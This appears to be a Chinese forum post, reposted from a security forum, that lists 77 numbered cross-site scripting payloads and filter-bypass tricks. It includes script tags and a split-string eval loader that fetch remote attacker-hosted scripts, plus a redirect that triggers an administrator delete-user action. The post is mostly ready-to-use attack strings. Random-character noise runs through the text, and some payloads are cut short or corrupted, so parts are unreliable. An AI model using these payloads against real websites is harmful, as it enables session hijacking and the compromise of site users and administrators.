貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。7 ~, o) ] \; @7 f7 x
5 m" }6 P; d' z- F- D& b (1)普通的XSS JavaScript注入, }: W" U. i* ?. ?
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>4 H" K6 Y( o% V' X& z
3 w" E- ~! C4 P: L8 R2 I (2)IMG标签XSS使用JavaScript命令% B# ?& h, J0 |
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>) K# k; K) k* b9 E. @
, e1 D& l8 I- g) w' h- | (3)IMG标签无分号无引号$ n! u' n6 S/ J6 F/ B
<IMG SRC=javascript:alert(‘XSS’)>
5 s! Y* s1 O* l) D+ h7 M$ r# r) d- e$ A4 Y7 t$ ?8 i
(4)IMG标签大小写不敏感$ N8 `& A+ d! C2 \
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
* U: U7 W4 z( Q2 n7 X
; \1 r1 Y3 |7 O' W( K (5)HTML编码(必须有分号)" u, n- `7 T7 U; _) N6 H
<IMG SRC=javascript:alert(“XSS”)>% Z8 a- d% J* k5 ^
2 W& C0 b) g. U- X% G. ^% Z1 v (6)修正缺陷IMG标签! f, C+ ]: ^: ?/ g' d$ S
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>4 g! x; w' O8 }; ]
0 x9 G( f" m$ W7 e0 q9 O (7)formCharCode标签(计算器), Y L% H9 f% T: `9 R9 n8 r- X. a
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
8 t, z- \, s+ y: A# b: K
* T9 s0 Y# t7 S. U (8)UTF-8的Unicode编码(计算器)% R( [4 @; o4 B* R/ Y
<IMG SRC=jav..省略..S')>
- Y' \% E3 a/ ^6 R) r5 H
: y/ c% ]; g4 S" y; O5 X( r (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
% F3 |9 }* \5 j9 w7 |% }+ [$ Z3 j <IMG SRC=jav..省略..S')>$ J* o1 F. C2 d" d$ K! @8 h
3 \5 N5 J: B8 n! T* W- c8 E (10)十六进制编码也是没有分号(计算器)' G/ p7 R9 C4 ~& r" l
<IMG SRC=java..省略..XSS')>
2 L3 [$ p; }$ c9 ~3 J, N: \ H) l8 u+ [. b
(11)嵌入式标签,将Javascript分开; Q1 u0 C7 y! j0 Z
<IMG SRC=”jav ascript:alert(‘XSS’);”>
% _. j' R- p$ x7 {& r5 \( I% [2 _/ h. u: V! X
(12)嵌入式编码标签,将Javascript分开
, L' g4 h7 V4 d <IMG SRC=”jav ascript:alert(‘XSS’);”>! C0 H% {3 ~2 @; f5 o
8 |# U8 a' X( m, {
(13)嵌入式换行符
0 X5 {; {0 z, v! y4 I <IMG SRC=”jav ascript:alert(‘XSS’);”>
' A0 E3 K; P8 ?/ x' |& I
; c( o3 h6 y% w, o" m (14)嵌入式回车
+ T6 {8 c, J8 ~+ U0 e: M! E <IMG SRC=”jav ascript:alert(‘XSS’);”>
. l5 F7 Y* p4 s5 A8 W
* l0 W6 ]; l5 J (15)嵌入式多行注入JavaScript,这是XSS极端的例子# i* c. U! @9 R# m
<IMG SRC=”javascript:alert(‘XSS‘)”>
* }% V# J6 a8 S9 _, A9 }
1 n. c; C; C' |& O: [5 Q3 L' B* e+ L% z (16)解决限制字符(要求同页面)
. x9 e+ ]) C, @( k5 v% W/ n: r <script>z=’document.’</script>
8 W7 |. G8 e" s& N# ? R y <script>z=z+’write(“‘</script>! b+ D9 X9 m, U4 H8 b# U, s1 R6 C
<script>z=z+’<script’</script>1 B# E. A2 H/ m, e! w! f: _! y; B
<script>z=z+’ src=ht’</script>
9 {! Y! l8 C; @1 B5 }1 {1 M3 Q6 f' B <script>z=z+’tp://ww’</script>5 I# p2 B( ~8 E3 g
<script>z=z+’w.shell’</script>
% m, g1 m' O8 H; a4 T <script>z=z+’.net/1.’</script>3 v8 c& K' o1 [) Y4 U$ f( G
<script>z=z+’js></sc’</script>
1 N3 V* l! w2 k" D# {! p6 v <script>z=z+’ript>”)’</script>
! X! Z& `! ] d9 ^$ w2 ^ <script>eval_r(z)</script>( A3 ^2 a/ f8 ? S
9 F! k" ?" X6 D9 D7 v* e: z3 T, J
(17)空字符
, l H+ }$ Z8 a perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
9 r1 q9 q! M x
$ }" p% G' s# x9 Z0 s (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用6 m6 I* ?6 H+ J0 M- ]7 H& v
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
+ Y, V/ e6 B; a& N: M8 `
7 h6 J- k# m$ u) t (19)Spaces和meta前的IMG标签
- Y, V! g ^, _1 R2 l; U8 J- ~ <IMG SRC=” javascript:alert(‘XSS’);”>+ [ Z" _$ R1 x% L
& r& k) l* [3 T. p+ U (20)Non-alpha-non-digit XSS$ T; ? `/ P- | _
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>9 \7 P z6 L% F0 }7 x
' c* `, K& C# s3 ]( {4 T6 g1 r
(21)Non-alpha-non-digit XSS to 2
( X7 H J0 V, b0 F <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)># P0 |* K5 u- U: P/ S% D2 d
+ U6 Y8 D& T3 ]3 N' }8 m9 T
(22)Non-alpha-non-digit XSS to 3% n$ i+ W) `7 e: Y. o: E* l
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
. J' U/ C( A4 L0 c. t4 D$ D5 ?$ p. f( Q3 s
(23)双开括号
4 ?: c& @- R7 m `5 `6 m( l; N. K <<SCRIPT>alert(“XSS”);//<</SCRIPT>! l$ z8 e+ q8 O" }; P9 A
8 q( }! Y. [7 o- U5 D( s5 z9 z (24)无结束脚本标记(仅火狐等浏览器)+ y( R5 J4 I1 K* r4 n! Y% ~% K. w
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
7 c) T y4 D* i3 A. T
3 ]6 C/ e" B& R (25)无结束脚本标记2
- x) P- p) y6 I1 V <SCRIPT SRC=//3w.org/XSS/xss.js>0 Z; ~7 z. K: z2 ?: R
4 x/ U2 ^* |1 X) A8 u
(26)半开的HTML/JavaScript XSS/ i3 v0 L2 `7 f/ c
<IMG SRC=”javascript:alert(‘XSS’)”
& G9 [' Y: J9 j3 d7 E
6 {1 Q7 L; j. |) ~& x" r; Y (27)双开角括号
5 _3 x3 h [0 B7 l, N <iframe src=http://3w.org/XSS.html <* V9 s9 Z0 Q9 s- S; S
4 q+ i$ U; C& M- {8 X (28)无单引号 双引号 分号$ {( J, T0 M' q0 Y; O
<SCRIPT>a=/XSS/7 w0 x3 j3 h; r) A- J& P
alert(a.source)</SCRIPT>0 Y# ?7 `+ }9 V
- M0 T2 m2 Z2 u& G% g+ ~) V (29)换码过滤的JavaScript; h2 K, z* b/ c$ B# M# V$ a
\”;alert(‘XSS’);//
; J: ^ ]0 f, K
3 x$ j' @4 }1 M! A; \ (30)结束Title标签
+ t) Z7 ~2 s/ F c6 ? </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>) k0 t8 D. ~. t9 w
( J! f- b3 \- H/ Y& r, p) @
(31)Input Image
4 n; C, L$ ~& G: _ <INPUT SRC=”javascript:alert(‘XSS’);”>" C# A, e. G1 v9 e: Y9 ?9 N% v8 @
- I) O5 U9 T4 [/ O3 Y
(32)BODY Image+ M/ k# U2 J6 z8 v7 m, e3 `
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
0 l# ?3 _- H8 s6 c9 P8 j# n1 g
(33)BODY标签
; Z Y' ^6 N. i# S& W; w9 D <BODY(‘XSS’)>% m4 h! Q! x- R+ {+ v5 r7 D, b
8 B9 s- _2 Z/ P) G8 a- r% p3 f1 e+ F8 Y (34)IMG Dynsrc
{. e$ m6 u) T. s) B <IMG DYNSRC=”javascript:alert(‘XSS’)”>
& Y+ F; d/ y) V% b. @
2 G- q {1 k% x, v9 K (35)IMG Lowsrc
) y- C# H* Z% Q- U <IMG LOWSRC=”javascript:alert(‘XSS’)”>
4 k8 {, A5 ^* \& t* B& Y$ Q$ Q
7 ^$ @+ q7 x$ q t (36)BGSOUND$ `& I3 i: \* w; y
<BGSOUND SRC=”javascript:alert(‘XSS’);”>0 e9 a6 p, r) W" C E
" r' Y5 I3 K+ [: {' W% [! t
(37)STYLE sheet
/ A- Y& J2 T3 L1 y! j J <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
8 E6 B" X; J/ ]; [% F3 T1 w& ^! j: Z7 m3 G( E0 x2 `$ x7 L
(38)远程样式表
( J9 X; |# l4 ?. L <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
5 }6 ~4 \, k3 X7 z& Z
5 X" Y4 q* x! N9 f+ ?% T (39)List-style-image(列表式), O: n4 R+ z8 ~1 O
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
( v. ~0 X" E$ N1 Z3 h7 p- t0 f; v) T! A" M J0 h7 U. I2 ?
(40)IMG VBscript4 X! N* z) z/ V( L3 H
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS4 T* f4 M/ o T6 t( u
* j; Y! v( R. V6 u
(41)META链接url3 d# Y/ `8 z w$ @( o0 n- P/ |2 v
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>0 k) R- V m- X! R& Q$ S
/ P' }! K3 E, K3 \$ W (42)Iframe% ?! S( N4 Z+ Q' P1 U
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME># p# Q. Y& {0 t( ^( m
* x+ |' u3 h: V0 k (43)Frame- Z9 V! r# l( V1 W
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
; Y9 A$ R- m6 N& z @" j6 L: |- P2 V5 K% j) A
(44)Table m1 Y& \7 _, ?9 G
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
. d. c! u- _" X0 I1 g1 I v$ e# f. y& L7 `7 K
(45)TD
4 z( @. u0 _: {3 n9 v* l# I! M8 N8 Y <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>2 c; q: e% [# D' ]
% Z$ Y" u. n1 j) Z (46)DIV background-image& j: e% q6 `& a+ {7 x9 R/ X
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>9 W2 F" O4 Y% g% @* L! g5 a
# {( T7 l3 {; C& i' o5 I ^' }1 s (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
( {! o- _- G9 x# F A5 c <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”># W O3 X& w8 R: U3 K+ B( c& M
, W/ J. T! N& z! R1 l" t( s (48)DIV expression
, O; ^" |5 U4 C1 i <DIV STYLE=”width: expression_r(alert(‘XSS’));”>- _, {1 _' r! J: w* z) B
+ d @7 D: d) }3 D
(49)STYLE属性分拆表达
. i, [: m0 J6 H2 C% V <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
4 W( _: Z4 d9 [+ ~6 e7 d* S* K: M- _9 ?; E! N/ T8 l
(50)匿名STYLE(组成:开角号和一个字母开头)
4 M6 Z; J3 g. {% i0 {8 |1 ~ <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>/ ^+ I% P, e/ M' d0 `8 Y2 ]
6 k: X3 x( L5 d (51)STYLE background-image
' q0 x( W8 Z p: ?. |. T <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>, W+ O: X; W+ A+ ^. l
' i2 J+ o9 g' l) o (52)IMG STYLE方式4 w8 c7 Z( R) O+ |8 V$ A* t6 T: F
exppression(alert(“XSS”))’>0 ]4 e# I3 H4 I$ }7 K
1 U% ^2 w$ c9 N; R0 Q' H% ^ (53)STYLE background
& c7 H3 h9 @8 V8 D: C) @9 h+ o <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>: R5 S+ `2 h$ ^1 G4 @- G
& C% R2 ^- C. M# q
(54)BASE# u5 {$ r9 \6 n8 m# x9 U
<BASE HREF=”javascript:alert(‘XSS’);//”>
+ u2 z! p9 l" E! Y, z2 F) @: q( I1 I4 H+ S
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS1 c7 |1 h. `6 z; E2 @% l' f
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
8 W/ @0 W& t! E L5 H3 p" E3 z! _ ~7 G; F$ M( f$ {0 i
(56)在flash中使用ActionScrpt可以混进你XSS的代码
6 N; V+ ~& R+ F0 s6 Y4 O a=”get”;4 E: Z. l( c( \" w! y
b=”URL(\”";
. D1 b3 f( w+ d7 C5 R2 v c=”javascript:”;2 e+ G }7 O9 b3 c2 H3 q
d=”alert(‘XSS’);\”)”;7 M/ o. i+ z$ I: T' w7 Z; u
eval_r(a+b+c+d);
; P9 ?- D7 Z8 T! C% U4 h$ m' x: l% J7 v7 ?# c, o$ ~" w
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上$ j$ w% w& L: ~7 @6 X# T
<HTML xmlns:xss>" g$ v1 B. P/ O1 U6 T% w
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
; K) w5 ^1 n) Q0 P6 N <xss:xss>XSS</xss:xss>
4 y+ X, r2 ~0 i </HTML>
5 ~% @6 t- \! I) m
: a6 n. N. u& E, ~/ J (58)如果过滤了你的JS你可以在图片里添加JS代码来利用% b/ K3 m( `8 B6 t0 S
<SCRIPT SRC=””></SCRIPT>' e( L p4 c" G3 r
9 e3 ^1 a8 ~2 G% a5 f6 M* G
(59)IMG嵌入式命令,可执行任意命令2 c4 l) E4 d6 ]( S+ |1 {6 [7 x
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
: D1 \* `0 ], z v4 e8 E$ w
, \1 Q O) d$ v1 v (60)IMG嵌入式命令(a.jpg在同服务器)
4 m/ w, G4 Y: ?) @3 n0 D T Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser0 q7 G$ c/ _0 @, c. B4 ]
3 G; E# Z* Z2 S' }0 g
(61)绕符号过滤: S4 Z _: C) B( ^2 A2 f! H8 k& Z
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>+ w, |# n4 O1 p$ Q E$ l- _' N
0 W8 @9 f3 `$ ?. u+ d/ P/ R* W+ ]9 Y+ {
(62)5 m' q- O' p' D5 h$ C& p2 z0 k
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ F" e$ d# Z7 D) a& p" L, S" Z& _! G: @5 y
(63)
, y8 E" p: Z) V% o$ d+ P, I* { <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
" K! v/ O* Z d0 V
3 l7 D9 q! P! ~6 \+ Y# L0 U8 O' C (64)7 @" ^" R; x% ]9 Z/ X& [+ I
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>$ h- i/ o: A. C2 r; b- x/ r
2 E( T; Y! o2 u# z+ H4 {/ t
(65)
9 p5 T) V i6 t6 { <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>/ a! _* D& |8 U$ [
% q8 |2 W; j' S, y W6 R/ F) l/ F+ u4 B4 b (66)
' N7 n7 @3 q& J4 z( i3 ? x3 ^ <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>" @0 Q0 @, r- x2 }/ l8 b- R
, M7 \/ l8 e) F1 z+ `- J9 J
(67)
" r3 N& z8 R8 H& D* R: X; r% k5 s7 Q <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
, _* }, G# T u7 q" f/ \1 a: [" S$ l' I1 V
(68)URL绕行# f% p, {2 X. `+ J
<A HREF=”http://127.0.0.1/”>XSS</A>
/ X' p' n R0 H- r: s0 K
) @9 s) \3 E3 x$ S |) z (69)URL编码
* v" ~! a v1 e" G$ S( X4 c! ? <A HREF=”http://3w.org”>XSS</A>
( H% {' c/ v& A6 w$ r) o4 d6 y4 i9 b/ P" Q
(70)IP十进制
5 E. L3 p: Z, q o: J <A HREF=”http://3232235521″>XSS</A>+ N& a* `4 T# R9 G! j
! |0 n$ @; \+ I. J% Y. k
(71)IP十六进制( x) t8 L# r* ~: A/ b' W
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>' o4 B" d9 o+ `- v5 J9 l
& A3 D) G2 W" e (72)IP八进制
: H5 X7 M. m w) F' D1 A' M <A HREF=”http://0300.0250.0000.0001″>XSS</A>
% b( h* u1 e) Y3 }/ V8 P/ K4 m/ C3 c3 O o [
(73)混合编码( T8 p5 v: R% C4 \# }
<A HREF=”h
7 g; I3 |* x8 ]) }* V tt p://6 6.000146.0×7.147/”">XSS</A>
: X% F) `2 O/ y( I3 A, J! W1 w
# w: a0 W0 Z, i7 t0 A9 c( V (74)节省[http:]
/ W; J7 _# k. A; ~/ I2 i <A HREF=”//www.google.com/”>XSS</A>
- I: a# e3 y) [/ X3 h7 _& ~2 u" f/ F U" X' C
(75)节省[www]# }- _" p, a l" b$ o& v, P
<A HREF=”http://google.com/”>XSS</A>
8 P2 H) R1 N7 L: \
u" S# J' N* W8 ]1 p" X (76)绝对点绝对DNS
% M: Z% P6 g9 |( B" b, M1 c <A HREF=”http://www.google.com./”>XSS</A>
+ S6 D% Q9 B0 \9 [! b: X. h6 ~8 D5 X) T h( L/ e
(77)javascript链接
1 U: e- A: r2 J1 y0 n <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |